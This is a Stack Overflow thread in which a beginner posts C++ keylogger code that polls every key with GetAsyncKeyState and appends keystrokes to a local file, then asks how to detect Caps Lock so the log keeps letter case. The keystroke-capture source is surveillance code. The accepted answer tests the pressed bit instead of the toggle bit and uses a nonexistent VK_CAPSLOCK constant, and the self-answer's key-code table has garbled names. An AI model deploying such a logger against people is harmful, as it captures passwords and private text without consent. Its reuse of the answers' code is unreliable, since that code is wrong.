2

Hi I have this code which can record keystrokes and save it in dat.txt file, But it can't differentiate b/w upper and lowercase letters, It writes all the capital characters like "ABCDEFG" not "abcdefg". I need a code that checks whether capslock is ON/OFF. And then save output as it is.

#define _WIN32_WINNT 0x0500 
#include <Windows.h>
#include <string>
#include <stdio.h>
#include <iostream>
#include <fstream>
using namespace std;
void LOG(string input) {
    fstream LogFile; 
    LogFile.open("dat.txt", fstream::app); 
    if (LogFile.is_open()) {
        LogFile << input; 
        LogFile.close();
    }
}

bool SpecialKeys(int S_Key)
{
 switch (S_Key) {
  case VK_SPACE:
       LOG(" ");
       return true;
  case VK_RETURN:
       LOG("\n");
       return true;
  case VK_SHIFT:
       LOG("[SHIFT]");
       return true;
  case VK_CAPITAL:
       LOG("[CAPSLOCK]");
       return true;
  case VK_OEM_8:
       LOG("!");
       return true;
  case VK_MULTIPLY:LOG("*");
       return true;
  default:
       return false;
 }
}



int main() {
    char KEY = 'x'; 
    while (true) {
        Sleep(10); 
        for (int KEY = 0; KEY <= 255; KEY++) {
            if (GetAsyncKeyState(KEY) == -32767) {    
                fstream LogFile;
                LogFile.open("dat.txt", fstream::app); 
                if (LogFile.is_open()) {
                    LogFile << char(KEY); 
                    LogFile.close();
                }
            }
        }
    }
    return 0;
}
Spencer
  • 1,924
  • 15
  • 27
Sorry IwontTell
  • 466
  • 10
  • 29
  • 4
    OT, but please note that writing multiple statements on a single line makes the code harder to read, follow, understand and maintain. – Some programmer dude Nov 15 '19 at 07:52
  • Replace that loop with a call to the `GetKeyboardState` API function. The virtual key code *is* case-sensitive. You don't need to pay any attention to the state of the Caps Lock key yourself, nor should you, since there are other ways to type uppercase letters. That solves the "Y" part of this [X-Y problem](https://meta.stackexchange.com/questions/66377/what-is-the-xy-problem). The solution to the "X" part is to install a [low-level keyboard hook](https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms644985(v=vs.85)), which is the correct way to log/monitor key events. – Cody Gray - on strike Nov 15 '19 at 08:09
  • 1
    just use GetKeyState. look at [this](https://stackoverflow.com/questions/6331868/using-getkeystate) , [this](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getkeystate?redirectedfrom=MSDN) and [this](https://stackoverflow.com/questions/577411/how-can-i-find-the-state-of-numlock-capslock-and-scrolllock-in-net) – Maria Nov 15 '19 at 08:41
  • someprogrammerdude sorry, CodeGray I didn't understand as I am beginner, MitraM thats helped me, here my code if (GetKeyState(vk_CapsLock ) < 0) { // The CAPSLOCK IS ON } else { // The CAPSLOCK IS OFF } – Sorry IwontTell Nov 15 '19 at 14:38
  • 1
    @MitraM You should post an answer, unless you know it's a duplciate. – Spencer Nov 15 '19 at 14:58
  • 1
    I've gone ahead and reformatted your code some; I hope it's more readable. – Spencer Nov 15 '19 at 15:03
  • @CodyGray Please write answers in the answer section – Lightness Races in Orbit Dec 02 '19 at 18:17

2 Answers2

4

You can use GetKeyState function to Retrieve the status of the specified virtual key.

The return value specifies the status of the specified virtual key, as follows: If the high-order bit is 1, the key is down; otherwise, it is up. If the low-order bit is 1, the key is toggled. A key, such as the CAPS LOCK key, is toggled if it is turned on. The key is off and untoggled if the low-order bit is 0. A toggle key's indicator light (if any) on the keyboard will be on when the key is toggled, and off when the key is untoggled.

VK_CAPSLOCK = 0x14;

.

if(GetKeyState(VK_CAPSLOCK) < 0)
 { 
   // The CAPSLOCK IS ON 
 } 
else
 { 
  // The CAPSLOCK IS OFF 
 }
Maria
  • 344
  • 8
  • 30
0

GetKeyState function lets you know the status of key, Every keyboard button has its own unique key number. Visit here1 or here2 for more info.

 if (GetKeyState(20)) {
 //cout << "Capslock is ON";
                      }  
else {  
 //cout << "Capslock is OFF";
     }

I am answering my own question to help other students as like I was helped. If link doesn't works view below virtual key codes list:

BackSpace=8
Tab=9      
Return=13  
Command=15M
Shift=16
Contrli=17
Alt=18
Pause=19
CapsLock=20
Escape=27
Space=32
PageUp=33
PageDown=34
End=35
Home=36
Left=37
Up=38
Right=39
Down=40
PrintScreen=44
Insert=45
Delete=46
0=48
1=49
2=50
3=51
4=52
5=53
6=54
7=55
8=56
9=57
A=65
B=66
C=67
D=68
E=69
F=70
G=71
H=72
I=73
J=74
K=75
L=76
M=77
N=78
O=79
P=80
Q=81
R=82
S=83
T=84
U=85
V=86
W=87
X=88
Y=89
Z=90
LWin=91*
RWin=92*
Apps=93*
NumPad0=96
NumPad1=97
NumPad2=98
NumPad3=99
NumPad4=100
NumPad5=101
NumPad6=102
NumPad7=103
NumPad8=104
NumPad9=105
Multiply=106
Add=107
Subtract=109
Decimal=110
Divide=111
F1=112
F2=113
F3=114
F4=115
F5=116
F6=117
F7=118
F8=119
F9=120
F10=121
F11=122
F12=123
F13=124
F14=125
F15=126
F16=127
NumLock=144
ScrlilLock=145
LShift=160**
RShift=161**
LContrli=162**
RContrli=163**
LAlt=164**
RAlt=165**
SemiClion=186
Equals=187
Comma=188
UnderScore=189
Period=190
Slash=191
BackSlash=220
RightBrace=221
LeftBrace=219
Apostrophe=222
Sorry IwontTell
  • 466
  • 10
  • 29